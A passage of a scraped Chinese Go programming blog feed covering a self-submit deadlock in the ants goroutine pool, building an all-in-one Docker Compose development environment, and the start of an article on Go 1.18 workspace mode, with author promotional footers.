\u0026#34;github.com/panjf2000/ants/v2\u0026#34; ) func main() { p, _ := ants.NewPool(100) for { p.Submit(func() { for i := 0; i \u0026lt; 3; i++ { p.Submit(func() { fmt.Println(time.Now().Unix()) }) } }) } } 这个代码使用了ants 2.4.6版本，我们在ubuntu 20.04上使用Go 1.17运行这个程序，很快程序就锁住了。\n3. 原因分析 ants代码不多，原理上也不复杂，我们直接来看看Submit的代码：\n// https://github.com/panjf2000/ants/blob/master/pool.go (commit fdb318c1d7cef8e448f1bc2bbb03519ff69939da) func (p *Pool) Submit(task func()) error { if p.IsClosed() { return ErrPoolClosed } var w *goWorker if w = p.retrieveWorker(); w == nil { return ErrPoolOverload } w.task \u0026lt;- task return nil } 我们看到，Submit方法的主要逻辑就是从Pool中获取一个worker，然后将传入的task写入worker的task channel中。再来看看retrieveWorker方法：\n// https://github.com/panjf2000/ants/blob/master/pool.go(commit fdb318c1d7cef8e448f1bc2bbb03519ff69939da) 225 func (p *Pool) retrieveWorker() (w *goWorker) { 226 spawnWorker := func() { 227 w = p.workerCache.Get().(*goWorker) 228 w.run() 229 } 230 231 p.lock.Lock() 232 233 w = p.workers.detach() 234 if w != nil { // first try to fetch the worker from the queue 235 p.lock.Unlock() 236 } else if capacity := p.Cap(); capacity == -1 || capacity \u0026gt; p.Running() { 237 // if the worker queue is empty and we don\u0026#39;t run out of the pool capacity, 238 // then just spawn a new worker goroutine. 239 p.lock.Unlock() 240 spawnWorker() 241 } else { // otherwise, we\u0026#39;ll have to keep them blocked and wait for at least one worker to be put back into pool. 242 if p.options.Nonblocking { 243 p.lock.Unlock() 244 return 245 } 246 retry: 247 if p.options.MaxBlockingTasks != 0 \u0026amp;\u0026amp; p.blockingNum \u0026gt;= p.options.MaxBlockingTasks { 248 p.lock.Unlock() 249 return 250 } 251 p.blockingNum++ 252 p.cond.Wait() // block and wait for an available worker 253 p.blockingNum-- 254 var nw int 255 if nw = p.Running(); nw == 0 { // awakened by the scavenger 256 p.lock.Unlock() 257 if !p.IsClosed() { 258 spawnWorker() 259 } 260 return 261 } 262 if w = p.workers.detach(); w == nil { 263 if nw \u0026lt; capacity { 264 p.lock.Unlock() 265 spawnWorker() 266 return 267 } 268 goto retry 269 } 270 271 p.lock.Unlock() 272 } 273 return 274 } retrieveWorker方法负责从Pool中取出一个空闲worker。\nretrieveWorker先加锁(line 231)，然后尝试从worker queue中获取空闲worker(line 233)，如果成功获得，那么解锁返回(line 234~235)；\n如果队列为空，且池子容量(capacity)还没有满，那就创建一个新worker(line 236~240)；\n如果队列为空，且池子容量(capacity)也满了(line 241)，那么判断一下p.options.Nonblocking是否为true，如果为true，说明不想阻塞，那么retrieveWorker返回nil(line 247~250)。retrieveWorker返回nil，那么Submit返回ErrPoolOverload错误。\n如果用户没有将p.options.Nonblocking设置为true(p.options.Nonblocking默认为false)，retrieveWorker判断p.options.MaxBlockingTasks这个option，但p.options.MaxBlockingTasks这个option默认为0，所以不满足条件。代码进入p.cond.Wait()，问题就出在这里！\n我们简化一下复现的步骤，假设我们的pool的容量是1，初始我们调用1次Submit获得了worker，这个worker开始执行task，而这个被执行的task又调用了同一个Pool的Submit，之后进入retrieveWorker方法，由于没有设置p.options.Nonblocking=true，cap容量也满了，由于此时没有空闲worker了，于是该worker进入p.cond.Wait。此时程序便进入死锁状态。将这个示例整理为代码，如下：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/panjf2000/ants/v2\u0026#34; ) func main() { p, _ := ants.NewPool(1) p.Submit(func() { p.Submit(func() { fmt.Println(time.Now().Unix()) }) }) time.Sleep(1000 *time.Second) } 大家可以执行一下这段代码，死锁必然马上出现。\n如果我们修改一下ants的pool.go中的代码，在p.cond.Wait()前后加入一些打印语句，就像下面这样：\np.blockingNum++ fmt.Println(\u0026#34;==== cond wait ...===\u0026#34;) p.cond.Wait() // block and wait for an available worker fmt.Println(\u0026#34;==== cond wait return ===\u0026#34;) p.blockingNum-- 然后，我们通过replace将demo对ants的依赖改为本地依赖，运行demo后，我们将看到下面输出：\n==== cond wait ...=== demo将一直停在上面这行输出的地方不再向下执行了。\n4. 官方策略 我将这个问题提交到ants的issue列表中，Andy Pan很快给了响应。按照Andy的说法，目前ants并不禁止Submit()里再调用同一个Pool的Submit()，只是需要设置一下Pool无可用worker时不阻塞即可，就像下面代码这样：\np, _ := ants.NewPool(1, ants.WithNonblocking(true)) 我个人又考虑了一下这个问题，设置WithNonblocking为true，Submit方法会返回ErrPoolOverload错误，那么调用者需要考虑如何处理这个错误，最大的可能就是反复重试。\n另外如果不设置ants.WithNonblocking(true)，我就是要让代码去等，正常情况下，这种阻塞应该是可以解开的，当task执行完毕后，自然可以空闲出一个goroutine来接新task。但问题就在于：如果我在Submit()里再调用同一个Pool的Submit()，一旦所有task都是这种情况，这个阻塞可能是无法解开的。所以我建议Andy在文档中说明一下这种情况。Andy也接受了这个建议，在最新的commit中在Submit和Invoke方法的注释中增加了对这种情况的说明。\n5. 解决方法 那么如果我就是要在Submit中调用Submit该如何处理呢？一种很直接的思路就是使用两个Pool！比如将上面的demo改成下面这样就可以正常运行了：\nfunc main() { p1, _ := ants.NewPool(1) p2, _ := ants.NewPool(1) p1.Submit(func() { p2.Submit(func() { fmt.Println(time.Now().Unix()) }) }) time.Sleep(10*time.Second) } 6. 补充一个因上述ants阻塞问题导致的其他问题 我们的系统在生产场景中会有大量并发连接，针对每个连接都会有定时器处理会话相关的过期、删除等。考虑到定时器太多，我们选择了维护定时器开销更小的时间轮算法的定时器实现。在github上，RussellLuo/timingwheel是目前star最多的，但美中不足的是其作者Russelluo似乎对这一项目不是很热心了，issue响应也很少了。我们抱着先使用再自主改进的态度引入了RussellLuo/timingwheel。\n考虑到RussellLuo/timingwheel每执行一个fired的timer对应的task时，都启动一个新goroutine去执行，我们将下面代码做了修改：\nfunc (tw *TimingWheel) addOrRun(t *Timer) { if !tw.add(t) { // Already expired // Like the standard time.AfterFunc (https://golang.org/pkg/time/#AfterFunc), // always execute the timer\u0026#39;s task in its own goroutine. go t.task() } } 改为：\nfunc (tw *TimingWheel) addOrRun(t *Timer) { if !tw.add(t) { // Already expired // Like the standard time.AfterFunc (https://golang.org/pkg/time/#AfterFunc), // always execute the timer\u0026#39;s task in its own goroutine. tw.workerPool.Submit(func() { t.task() }) } } 我们用一个ants pool(pool size默认为1024)来减少goroutine频繁创建销毁带来的开销。\n在开发与功能测试阶段，改造后的RussellLuo/timingwheel表现不错，一切都还ok。进入到压测阶段，我们发现，在大量连接一起断连后，大部分新启动的用于清除会话的定时器都无法工作，时间到了后，timer也不fire，导致我们的连接断连逻辑无法执行。我用下面的例子复现了这个问题(为了方便复现现象，我们把ants的Pool size改为1)：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; \u0026#34;github.com/RussellLuo/timingwheel\u0026#34; ) var tw *timingwheel.TimingWheel type tickScheduler struct { interval time.Duration } func (s *tickScheduler) Next(prev time.Time) time.Time { next := prev.Add(s.interval) return next } type Timer struct { timer *timingwheel.Timer } func (t *Timer) Stop() bool { return t.timer.Stop() } func TickFunc(d time.Duration, f func()) *Timer { s := \u0026amp;tickScheduler{ interval: d, } t := tw.ScheduleFunc(s, f) return \u0026amp;Timer{t} } func main() { tw = timingwheel.NewTimingWheel(10*time.Millisecond, 60) tw.Start() defer tw.Stop() var c = make(chan string) var wg sync.WaitGroup wg.Add(10) for i := 0; i \u0026lt; 10; i++ { go func() { timer := TickFunc(time.Millisecond*10, func() { c \u0026lt;- \u0026#34;timer fired\u0026#34; }) defer timer.Stop() time.Sleep(time.Second) for i := 0; i \u0026lt; 10; i++ { s := \u0026lt;-c if s != \u0026#34;timer fired\u0026#34; { fmt.Errorf(\u0026#34;%d: want [timer fired], got [%s]\\n\u0026#34;, i+1, s) } else { fmt.Printf(\u0026#34;%d: timer fired\\n\u0026#34;, i+1) } } wg.Done() }() } wg.Wait() } 运行这个程序，程序也很快锁住：\n$ go run main.go 1: timer fired 1: timer fired 1: timer fired 1: timer fired 1: timer fired 2: timer fired 2: timer fired 2: timer fired 2: timer fired //锁住 这个问题与本文开始的问题一样，也是在Submit中调用同pool的Submit，调用Submit的两处位置，我在下面的代码中用注释标记了出来。\nfunc (tw *TimingWheel) ScheduleFunc(s Scheduler, f func()) (t *Timer) { expiration := s.Next(time.Now().UTC()) if expiration.IsZero() { // No time is scheduled, return nil. return } t = \u0026amp;Timer{ expiration: timeToMs(expiration), task: func() { // Schedule the task to execute at the next time if possible. expiration := s.Next(msToTime(t.expiration)) if !expiration.IsZero() { t.expiration = timeToMs(expiration) tw.addOrRun(t) // 如果timer已经fire，那么就调用pool.Submit } // Actually execute the task. f() }, } tw.addOrRun(t) // 如果timer已经fire，那么就调用pool.Submit return } btw，关于时间轮算法是否在资源占用，维护timer开销方面胜过Go标准库timer，这里其实并没有细致比对过。Go标准库的timer性能一直在完善，后续有时间需要认真对比一下。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/11/27/ants-call-submit-in-submit-may-cause-blocking/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/ants-call-submit-in-submit-may-cause-blocking-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/11/27/ants-call-submit-in-submit-may-cause-blocking\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/11/27/ants-call-submit-in-submit-may-cause-blocking\"\u003ehttps://tonybai.com/2021/11/27/ants-call-submit-in-submit-may-cause-blocking\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-goroutine-pool的必要性\"\u003e1. goroutine pool的必要性\u003c/h3\u003e\n\u003cp\u003eGo在并发程序方面的一个小创新就是支持轻量级用户线程goroutine，不过虽然goroutine很轻，但并不是免费的，尤其是Go程序中存在大量goroutine反复启停时(比如采用每连接一个goroutine的处理http短连接的http server，在大并发的情况下就是如此)，\u003ca href=\"https://mp.weixin.qq.com/s/aX9_ZAXfDQZQZrkq-6DZew\"\u003eGo运行时启停和调度goroutine的开销还是蛮大的\u003c/a\u003e。这个时候我们对goroutine pool的需求就诞生了。\u003c/p\u003e","title":"ants：在Submit中再调用当前Pool的Submit可能导致阻塞"},{"content":"\n本文永久链接 – https://tonybai.com/2021/11/26/build-all-in-one-runtime-environment-with-docker-compose\n如今，不管你是否喜欢，不管你是否承认，微服务架构模式的流行就摆在那里。作为架构师的你，如果再将系统设计成个大单体结构，那么即便不懂技术的领导，都会给你送上几次白眼。好吧，妥协了！开拆！“没吃过猪肉，还没见过猪跑吗！”。拆不出40-50个服务，我就不信还拆不出4-5个服务^_^。\n终于拆出了几个服务，但又犯难了：以前单体程序，搭建一个运行环境十分easy，程序往一个主机上一扔，配置配置，启动就ok了；但自从拆成服务后，开发人员的调试环境、集成环境、测试环境等搭建就变得异常困难。\n有人会说，现在都云原生了？你不知道云原生操作系统k8s的存在么？让运维帮你在k8s上整环境啊。 一般小厂，运维人员不多且很忙，开发人员只能“自力更生，丰衣足食”。开发人员自己整k8s？别扯了！没看到这两年k8s变得越来越复杂了吗！如果有一年不紧跟k8s的演进，新版本中的概念你就可能很陌生，不知源自何方。一般开发人员根本搞不定(如果你想搞定，可以看看我的k8s实战课程哦，包教包会^_^)。\n那怎么办呢？角落里曾经的没落云原生贵族docker发话了：要不让我兄弟试试！\n1. docker compose docker虽然成了“过气网红”，但docker依然是容器界的主流。至少对于非docker界的开发人员来说，一提到容器，大家首先想到的还是docker。\ndocker公司的产品推出不少，开发人员对多数都不买账也是现实，但我们也不能一棒子打死，毕竟docker是可用的，还有一个可用的，那就是docker的兄弟：docker compose。\nCompose是一个用于定义和运行多容器Docker应用程序的工具。使用Compose，我们可以使用一个YAML文件来配置应用程序的所有服务组件。然后，只需一条命令，我们就可以创建并启动配置中的所有服务。\n这不正是我们想要的工具么! Compose与k8s很像，都算是容器编排工具，最大的不同：Compose更适合在单节点上的调试或集成环境中（虽然也支持跨主机，基于被淘汰的docker swarm)。Compose可以大幅提升开发人员以及测试人员搭建应用运行环境的效率。\n2. 选版本 使用docker compose搭建运行环境，我们仅需一个yml文件。但docker compose工具也经历了多年演化，这个文件的语法规范也有多个版本，截至目前，docker compose的配置文件的语法版本就有2、2.x和3.x三种。并且不同规范版本支持的docker引擎版本还不同，这个对应关系如下图。图来自docker compose文件规范页面：\n选版本是最闹心的。选哪个呢？设定两个条件：\ndocker引擎版本怎么也得是17.xx 规范版本怎么也得是3.x吧 这样一来，版本3.2是最低要求的了。我们就选3.2：\n// docker-compose.yml version: \u0026#34;3.2\u0026#34; 3. 选网络 docker compose默认会为docker-compose.yml中的各个service创建一个bridge网络，所有service在这个网络里可以相互访问。以下面docker-compose.yml为例：\n// demo1/docker-compose.yml version: \u0026#34;3.2\u0026#34; services: srv1: image: nginx:latest container_name: srv1 srv2: image: nginx:latest container_name: srv2 启动这个yml中的服务：\n# docker-compose -f docker-compose.yml up -d Creating network \u0026#34;demo1_default\u0026#34; with the default driver ... ... docker compose会为这组容器创建一个名为demo1_default的桥接网络:\n# docker network ls NETWORK ID NAME DRIVER SCOPE f9a6ac1af020 bridge bridge local 7099c68b39ec demo1_default bridge local ... ... 关于demo1_default网络的细节，可以通过docker network inspect 7099c68b39ec获得。\n对于这样的网络中的服务，我们在外部是无法访问的。如果要访问其中服务，我们需要对其中的服务做端口映射，比如如果我们要将srv1暴露到外部，我们可以将srv1监听的服务端口80映射到主机上的某个端口，这里用8080，修改后的docker-compose.yml如下：\nversion: \u0026#34;3.2\u0026#34; services: srv1: image: nginx:latest container_name: srv1 ports: - \u0026#34;8080:80\u0026#34; srv2: image: nginx:latest container_name: srv2 这样启动该组容器后，我们通过curl localhost:8080就可以访问到容器中的srv1服务。不过这种情况下，服务间的相互发现比较麻烦，要么借助于外部的发现服务，要么通过容器间的link来做。\n开发人员大多只有一个环境，不同服务的服务端口亦不相同，让容器使用host网络要比单独创建一个bridge网络来的更加方便。通过network_mode我们可以指定服务使用host网络，就像下面这样：\nversion: \u0026#34;3.2\u0026#34; services: srv1: image: bigwhite/srv1:1.0.0 container_name: srv1 network_mode: \u0026#34;host\u0026#34; 在host网络下，容器监听的端口就是主机上的端口，各个服务间通过端口区别各个服务实例(前提是端口各不相同)，ip使用localhost即可。\n使用host网络还有一个好处，那就是我们在该环境之外的主机上访问环境中的服务也十分方便，比如查看prometheus的面板等。\n4. 依赖的中间件先启动，预置配置次之 如今的微服务架构系统，除了自身实现的服务外，外围还有大量其依赖的中间件，比如：redis、kafka(mq)、nacos/etcd(服务发现与注册）、prometheus(时序度量数据服务)、mysql(关系型数据库)、jaeger server(trace服务器)、elastic(日志中心)、pyroscope-server(持续profiling服务)等。\n这些中间件若没有启动成功，我们自己的服务多半启动都要失败，因此我们要保证这些中间件服务都启动成功后，再来启动我们自己的服务。\n如何做呢？compose规范中有一个迷惑人的“depends_on”，比如下面配置文件中srv1依赖redis和nacos两个service：\nversion: \u0026#34;3.2\u0026#34; services: srv1: image: bigwhite/srv1:1.0.0 container_name: srv1 network_mode: \u0026#34;host\u0026#34; depends_on: - \u0026#34;redis\u0026#34; - \u0026#34;nacos\u0026#34; environment: - NACOS_SERVICE_ADDR=127.0.0.1:8848 - REDIS_SERVICE_ADDR=127.0.0.1:6379 restart: on-failure 不深入了解，很多人会认为depends_on可以保证先启动依赖项redis和nacos，并等依赖项ready后再启动我们自己的服务srv1。但实际上，depends_on仅能保证先启动依赖项，后启动我们的服务。但它不会探测依赖项redis或nacos是否ready，也不会等依赖项ready后，才启动我们的服务。于是你会看到srv1启动后依旧出现各种的报错，包括无法与redis、nacos建立连接等。\n要想真正实现依赖项ready后才启动我们自己的服务，我们需要借助外部工具了，docker compose文档对此有说明。其中一个方法是使用wait-for-it脚本。\n我们可以改变一下自由服务的容器镜像，将其entrypoint从执行服务的可执行文件变为执行一个start.sh的脚本：\n// Dockerfile ... ... ENTRYPOINT [\u0026#34;/bin/bash\u0026#34;, \u0026#34;./start.sh\u0026#34;] 这样我们就可以在start.sh脚本中“定制”我们的启动逻辑了。下面是一个start.sh脚本的示例：\n#! /bin/sh ./wait_for_it.sh $NACOS_SERVICE_ADDR -t 60 --strict -- echo \u0026#34;nacos is up\u0026#34; \u0026amp;\u0026amp; \\ ./wait_for_it.sh $REDIS_SERVICE_ADDR -- echo \u0026#34;redis is up\u0026#34; \u0026amp;\u0026amp; \\ exec ./srv1 我们看到，在start.sh脚本中，我们使用wait_for_it.sh脚本等待nacos和redis启动，如果在限定时间内等待失败，根据restart策略，我们的服务还会被docker compose重新拉起，直到nacos与redis都ready，我们的服务才会真正开始执行启动过程。\n在exec ./srv1之前，很多时候我们还需要进行一些配置初始化操作，比如向nacos中写入预置的srv1服务的配置文件内容以保证srv1启动后能从nacos中读取到自己的配置文件，下面是加了配置初始化的start.sh：\n#! /bin/sh ./wait_for_it.sh $NACOS_SERVICE_ADDR -t 60 --strict -- echo \u0026#34;nacos is up\u0026#34; \u0026amp;\u0026amp; \\ ./wait_for_it.sh $REDIS_SERVICE_ADDR -- echo \u0026#34;redis is up\u0026#34; \u0026amp;\u0026amp; \\ curl -X POST --header \u0026#39;Content-Type: application/x-www-form-urlencoded\u0026#39; -d dataId=srv1.yml --data-urlencode content@./conf/srv1.yml \u0026#34;http://127.0.0.1:8848/nacos/v1/cs/configs?group=MY_GROUP\u0026#34; \u0026amp;\u0026amp; \\ exec ./srv1 我们通过curl将打入镜像的./conf/srv1.yml配置写入已经启动了的nacos中供后续srv1启动时读取。\n5. 全家桶，一应俱全 就像前面提到的，如今的系统对外部的中间件“依存度”很高，好在主流中间件都提供了基于docker启动的官方支持。这样我们的开发环境也可以是一个一应俱全的“全家桶”。不过要有一个很容易满足的前提：你的机器配置足够高，才能把这些中间件全部运行起来。\n有了这些全家桶，我们无论是诊断问题(看log、看trace、看度量数据），还是作性能优化（看持续profiling的数据），都方便的不要不要的。\n6. 结合Makefile，简化命令行输入 docker-compose这个工具有一个“严重缺陷”，那就是名字太长^_^。这导致我们每次操作都要敲入很多命令字符，当你使用的compose配置文件名字不为docker-compose.yml时，更是如此，我们还需要通过-f选项指定配置文件路径。\n为了简化命令行输入，减少键盘敲击次数，我们可以将复杂的docker-compose命令与Makefile相结合，通过定制命令行命令并将其赋予简单的make target名字来实现这一简化目标，比如：\n// Makefile pull: docker-compose -f my-docker-compose.yml pull pull-my-system: docker-compose -f my-docker-compose.yml pull srv1 srv2 srv3 up: pull-my-system docker-compose -f my-docker-compose.yml up upd: pull-my-system docker-compose -f my-docker-compose.yml up -d up2log: pull-my-system docker-compose -f my-docker-compose.yml up \u0026gt; up.log 2\u0026gt;\u0026amp;1 down: docker-compose -f my-docker-compose.yml down ps: docker-compose -f my-docker-compose.yml ps -a log: docker-compose -f my-docker-compose.yml logs -f # usage example: make upsrv service=srv1 service= upsrv: docker-compose -f my-docker-compose.yml up -d ${service} config: docker-compose -f my-docker-compose.yml config 另外服务依赖的中间件一般都时启动与运行开销较大的系统，每次和我们的服务一起启停十分浪费时间，我们可以将这些依赖与我们的服务分别放在不同的compose配置文件中管理，这样我们每次重启自己的服务时，没有必要重新启动这些依赖，这样可以节省大量“等待”时间。\n7. .env文件 有些时候，我们需要在compose的配置文件中放置一些“变量”，我们通常使用环境变量来实现“变量”的功能，比如：我们将srv1的镜像版本改为一个环境变量：\nversion: \u0026#34;3.2\u0026#34; services: srv1: image: bigwhite/srv1:${SRV1_VER} container_name: srv1 network_mode: \u0026#34;host\u0026#34; ... ... docker compose支持通过同路径下的.env文件的方式docker-compose.yml中环境变量的值，比如：\n// .env SRV1_VER=dev 这样docker compose在启动srv1时会将.env中SRV1_VER的值读取出来并替换掉compose配置文件中的相应环境变量。通过这种方式，我们可以灵活的修改我们使用的镜像版本。\n8. 优点与不足 使用docker compose工具，我们可以轻松拥有并快速启动一个all-in-one的运行环境，大幅度加速了部署、调试与测试的效率，在特定的工程环节，它可以给予开发与测试人员很大帮助。\n不过这样的运行环境也有一些不足，比如：\n对部署的机器/虚拟机配置要求较高； 这样的运行环境有局限，用在功能测试、持续集成、验收测试的场景下可以，但不能用来执行压测或者说即便压测也只是摸底，数据不算数的，因为所有服务放在一起，相互干扰； 服务或中间件多了以后，完全启动一次也要耐心等待一段时间。 “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/11/26/build-all-in-one-runtime-environment-with-docker-compose/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/build-all-in-one-runtime-environment-with-docker-compose-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/11/26/build-all-in-one-runtime-environment-with-docker-compose\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/11/26/build-all-in-one-runtime-environment-with-docker-compose\"\u003ehttps://tonybai.com/2021/11/26/build-all-in-one-runtime-environment-with-docker-compose\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e如今，不管你是否喜欢，不管你是否承认，微服务架构模式的流行就摆在那里。作为架构师的你，如果再将系统设计成个大单体结构，那么即便不懂技术的领导，都会给你送上几次白眼。好吧，妥协了！开拆！“没吃过猪肉，还没见过猪跑吗！”。拆不出40-50个服务，我就不信还拆不出4-5个服务^_^。\u003c/p\u003e","title":"使用Docker Compose构建一键启动的运行环境"},{"content":"\n本文永久链接 – https://tonybai.com/2021/11/12/go-workspace-mode-in-go-1-18\nGo 1.18版本如无意外，将于2022年2月发布。\n在这个版本中，除了包含万众期待的Go泛型之外，还包含很多实用的功能特性，Go工作区模式(Go workspace mode)就是其中之一，它弥补了当前go module构建模式的一些不足，堪称是go module构建模式的最后一块拼图。这篇文章我们就来看看什么是Go工作区模式，它究竟能解决什么问题。\n一. 引子 1. replace带来的烦恼 近期在研究raft算法，参考的是etcd的raft实现。etcd还提供了一个raftexample的样例来说明如何实现基于raft的分布式应用。\n要学习raftexample，我们首先要对其进行构建。raftexample的README.md文件中有raftexample编译方法的步骤，但这份安装步骤还停留在Go 1.11版本之前的gopath构建模式时期。如今我们要构建它，最好将其先转换为一个go module后再在go module模式下进行构建。不知道如何将一个legecy go project转换为go module的朋友可以去看一下我的极客时间专栏《Go语言第一课》^_^。\n我们先把raftexample单独copy出来，放到一个单独的目录下，然后进入raftexample目录并在该其下执行下面命令添加go.mod文件，这里我们构建使用的go版本是go 1.17：\n$cd raftexample $go mod init github.com/bigwhite/raftexample 生成的go.mod内容如下：\n$cat go.mod module github.com/bigwhite/raftexample go 1.17 接下来，我们执行go mod tidy命令让go命令自行分析raftexample的依赖并下载这些依赖：\n$go mod tidy go: finding module for package go.etcd.io/etcd/client/pkg/v3/types go: finding module for package go.etcd.io/etcd/raft/v3/raftpb go: finding module for package go.etcd.io/etcd/client/pkg/v3/fileutil go: finding module for package go.etcd.io/etcd/server/v3/storage/wal go: finding module for package go.etcd.io/etcd/server/v3/etcdserver/api/v2stats go: finding module for package go.etcd.io/etcd/server/v3/etcdserver/api/snap go: finding module for package go.etcd.io/etcd/server/v3/etcdserver/api/rafthttp go: finding module for package go.etcd.io/etcd/raft/v3 ... ... go: downloading go.etcd.io/etcd/pkg/v3 v3.5.1 go: downloading go.etcd.io/etcd/api/v3 v3.5.1 go: finding module for package go.etcd.io/etcd/server/v3/storage/wal/walpb go: finding module for package go.etcd.io/etcd/server/v3/storage/wal github.com/bigwhite/raftexample imports go.etcd.io/etcd/server/v3/storage/wal: module go.etcd.io/etcd/server/v3@latest found (v3.5.1), but does not contain package go.etcd.io/etcd/server/v3/storage/wal github.com/bigwhite/raftexample imports go.etcd.io/etcd/server/v3/storage/wal/walpb: module go.etcd.io/etcd/server/v3@latest found (v3.5.1), but does not contain package go.etcd.io/etcd/server/v3/storage/wal/walpb go mod tidy命令报错，提示没找到server/v3.5.1下面的go.etcd.io/etcd/server/v3/storage/wal和go.etcd.io/etcd/server/v3/storage/wal/walpb包。翻看etcd工程server/v3.5.1标签下的源码，server下的确不包含storage这个目录。但在main分支下，storage目录是存在的。这很可能是etcd项目自v3.5.0版本开始进行多module改造(原先etcd项目是一个module，后该项目下拆分为多个module，并使用多module标签来管理)后的bug。\n怎么处理这一情况呢？我们只能祭出replace大法了！刚说过etcd的main分支下storage目录是存在的，于是我们就手工修改一下raftexample的go.mod文件，添加下面这一行配置：\nreplace go.etcd.io/etcd/server/v3 v3.5.1 =\u0026gt; /Users/tonybai/go/src/github.com/etcd-io/etcd/server 然后我们再执行go mod tidy，这回依赖分析与下载顺利完成了并且通过go build命令我们可以成功构建raftexample了。此时，raftexample的go.mod变成了这个样子：\nmodule github.com/bigwhite/raftexample go 1.17 replace go.etcd.io/etcd/server/v3 v3.5.1 =\u0026gt; /Users/tonybai/go/src/github.com/etcd-io/etcd/server require ( go.etcd.io/etcd/client/pkg/v3 v3.5.1 go.etcd.io/etcd/raft/v3 v3.5.1 go.etcd.io/etcd/server/v3 v3.5.1 go.uber.org/zap v1.19.1 ) require ( github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash/v2 v2.1.1 // indirect github.com/coreos/go-semver v0.3.0 // indirect github.com/dustin/go-humanize v1.0.0 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/golang/protobuf v1.5.2 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/prometheus/client_golang v1.11.0 // indirect github.com/prometheus/client_model v0.2.0 // indirect github.com/prometheus/common v0.26.0 // indirect github.com/prometheus/procfs v0.6.0 // indirect github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2 // indirect go.etcd.io/etcd/api/v3 v3.5.0 // indirect go.etcd.io/etcd/pkg/v3 v3.5.0 // indirect go.uber.org/atomic v1.7.0 // indirect go.uber.org/multierr v1.7.0 // indirect golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40 // indirect golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect google.golang.org/protobuf v1.26.0 // indirect ) 但问题来了！require指示符将go.etcd.io/etcd/server/v3 v3.5.1替换为一个本地路径etcd源码拷贝下的server module，这个本地路径是因开发者环境而异的，但go.mod文件通常是上传到代码服务器上，这就意味着另外一个开发人员下载了这份代码后极大可能是无法成功编译的，他要想完成raftexample的编译，就得将replace后面的本地路径改为适配自己环境下的路径。于是乎每当开发人员pull代码后，第一件事就是要修改go.mod中的replace，每次上传代码前，可能也要将replace路径复原，这是一个很糟心的事情，但在Go 1.18版本之前似乎只能这样做。\n2. 依赖本地尚未发布的module更糟糕 别急着学习Go工作区模式！我们再来看另外一个当前go module机制的问题。这个问题同样也是一位学员在我的《Go语言第一课》中咨询过的一个问题，我在《Go语言第一课FAQ》中曾对这个问题做个解答。在这里我再详细举例说明一下。\n假设我有一个名为hello-module的项目，它的结构和代码都很简单：\n// https://github.com/bigwhite/experiments/tree/master/go1.18-examples/foresight/workspace/local-module/hello-module $cat go.mod module github.com/bigwhite/hello-module go 1.17 $cat main.go package main import 